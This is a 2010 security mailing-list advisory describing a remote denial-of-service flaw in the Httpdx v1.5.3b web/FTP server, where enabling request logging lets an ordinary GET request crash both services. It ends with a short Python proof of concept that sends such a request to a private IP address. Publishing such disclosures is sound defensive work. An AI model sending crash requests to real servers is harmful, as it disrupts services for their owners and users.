bugtraq - Vulnerability Httpdx v1.5.3b

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Message-ID: <1269010101.3109.58.camel@localhost>
Date: Fri, 19 Mar 2010 15:48:21 +0100
From: Mehdi Mahdjoub - Sysdream IT Security Services <m.mahdjoub@...dream.com>
To: bugtraq@...urityfocus.com
Cc: full-disclosure@...ts.grok.org.uk
Subject: Vulnerability Httpdx v1.5.3b

Program          : Httpdx v1.5.3b
PoC              : Remote Crash Service (if http.log=1)
Homepage         : http://sourceforge.net/projects/httpdx/
Found by         : Jonathan Salwan
This Advisory    : Jonathan Salwan
Contact          : j.salwan@...dream.com

//----- Application description

Single-process HTTP1.1/FTP server; no threads or processes started per
connection, runs with only few threads. Includes directory listing,
virtual hosting, basic auth., support for PHP, Perl, Python, SSI, etc.
All settings in one config/script file. 

//----- Description of vulnerability

The vulnerability is caused due to set http.log=1 in httpdx.conf - Error
Writting log
This can be exploited to crash all services http & ftp.

Use simple GET request for crash service.

//----- Credits

http://www.sysdream.com/article.php?story_id=325&section_id=78
http://www.shell-storm.org

import urllib
import urllib2

url = 'http://172.16.240.128/'

req = urllib2.Request(url)
answer = urllib2.urlopen(req)
page = answer.read()